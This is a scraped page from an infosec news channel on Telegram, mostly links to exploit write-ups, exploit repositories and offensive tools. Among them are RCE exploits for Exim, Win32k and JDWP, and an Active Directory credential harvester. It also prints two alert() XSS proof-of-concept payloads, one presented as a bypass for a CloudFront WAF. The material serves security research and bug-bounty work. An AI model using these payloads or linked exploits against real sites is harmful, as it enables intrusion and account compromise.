Information Security
@sec_nerd_en
414 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
414 subscribers
Information Security
https://twitter.com/SBousseaden/status/1177145402518323200
Twitter
Samir
changes to this registry entry are very rare, make sure to add it to your watchlist (seen it used as one item part of an RDP tunnling automation payload, main objective is to reduce sysadmins suspicion) #dfir
115 views
Information Security
https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
DEVCORE 戴夫寇爾
Exim Off-by-one RCE: Exploiting CVE-2018-6789 with Fully Mitigations Bypassing | DEVCORE 戴夫寇爾
We reported an overflow vulnerability in the base64 decode function of Exim on 5 February, 2018, identified as CVE-2018-6789. This bug exists since the first commit of exim, hence ALL versions are affected. According to our research, it can be leveraged to…
125 views
Information Security
https://github.com/DanMcInerney/icebreaker
GitHub
GitHub - DanMcInerney/icebreaker: Gets plaintext Active Directory credentials if you're on the internal network but outside the…
Gets plaintext Active Directory credentials if you're on the internal network but outside the AD environment - DanMcInerney/icebreaker
124 views
Information Security
105 views
Information Security
https://github.com/exodusintel/CVE-2019-0808
GitHub
GitHub - exodusintel/CVE-2019-0808: Win32k Exploit by Grant Willcox
Win32k Exploit by Grant Willcox. Contribute to exodusintel/CVE-2019-0808 development by creating an account on GitHub.
113 views
Information Security
https://pentestmag.com/remote-code-execution-vulnerability-in-the-austrian-electronic-banking-application-elba5/
Pentestmag
Remote Code Execution Vulnerability in the Austrian Electronic Banking Application ELBA5 - Pentestmag
by Florian Bogner The case was originally published at: https://bogner.sh/2018/11/0-day-in-elba5s-network-installation-overtaking-your-companys-bank-account/ This blog post is about a previously unknown critical vulnerability in …
127 views
Information Security
https://gauravnarwani.com/two-factor-authentication-bypass/
I'm Gaurav Narwani | Security Researcher | Bug Bounty Hunter
Two-Factor Authentication Bypass | I'm Gaurav Narwani
124 views
Information Security
http://zero.lol/2019-09-30-vuln-disclosure-and-lg/
zero.lol
Vulnerability Disclosure & LG Electronics
Vulnerability disclosure & how NOT to handle it, featuring LG electronics.
113 views
Information Security
https://gauravnarwani.com/how-i-xssed-admin-account/
I'm Gaurav Narwani | Security Researcher | Bug Bounty Hunter
How I XSSed Admin Account | I'm Gaurav Narwani
133 views
Information Security
https://frederik-braun.com/firefox-ui-xss-leading-to-rce.html
Frederik Braun
Frederik Braun - Remote Code Execution in Firefox beyond memory corruptions
Click to view Frederik's blog post
127 views
Information Security
https://github.com/triw0lf/urlscan_scripts/blob/master/urlscan_badfiles.sh
GitHub
triw0lf/urlscan_scripts
A bunch of scripts I use to work with urlscan.io. Contribute to triw0lf/urlscan_scripts development by creating an account on GitHub.
142 views
Information Security
https://medium.com/tenable-techblog/inadequate-patch-in-hewlett-packard-enterprise-imc-7-3-e0703-6aba36351ca3
Medium
Inadequate Patch in Hewlett Packard Enterprise iMC 7.3 E0703
Background
113 views
Information Security
https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/
1337red
Building and Attacking an Active Directory lab with PowerShell
Let me open this with a few questions Do you have your own penetration testing lab? Have you installed Windows Server 2016 before? Do you have Active Directory at home? What version of PowerShell a…
126 views
Information Security
https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b
Medium
Understanding and Defending Against Access Token Theft: Finding Alternatives to winlogon.exe
A dive into Windows processes, access tokens, SACLs, WinAPI and access token manipulation.
114 views
Information Security
https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
Home
How a double-free bug in WhatsApp turns to RCE
In this blog post, I’m going to share about a double-free vulnerability that I discovered in WhatsApp for Android, and how I turned it into an RCE. I informed this to Facebook. Facebook acknowledged and patched it officially in WhatsApp version 2.19.244.…
123 views
Information Security
CloudFront ~`XSS´ payload, shake dice.
🎲


<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>

#BugBounty #BugBountyTip #WAF #infosec
133 views
Information Security
[Script] Get-SSLCertInfo is a basic PowerShell function that can be used to scrape SSL certificate information using IP Ranges, domain lists, etc.

https://raw.githubusercontent.com/NetSPI/PowerShell/master/Get-SSLCertInfo-Scan.psm1
121 views
Information Security
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#onload
portswigger.net
Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Interactive cross-site scripting (XSS) cheat sheet for 2025, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.
118 views
Information Security
Safari:

<svg><a onload=alert(1337)>

https://jsfiddle.net/8gz4dtnk/1/
jsfiddle.net
Edit fiddle - JSFiddle - Code Playground
Test your JavaScript, CSS, HTML or CoffeeScript online with JSFiddle code editor.
114 views
Information Security
Java Debug Wire Protocol (JDWP) remote code execution #exploitation:
https://blog.csdn.net/caiqiiqi/article/details/83146415
https://github.com/IOActive/jdwp-shellifier
https://packetstormsecurity.com/files/151973/Java-Debug-Wire-Protocol-Remote-Code-Execution.html
GitHub
GitHub - IOActive/jdwp-shellifier
Contribute to IOActive/jdwp-shellifier development by creating an account on GitHub.
133 views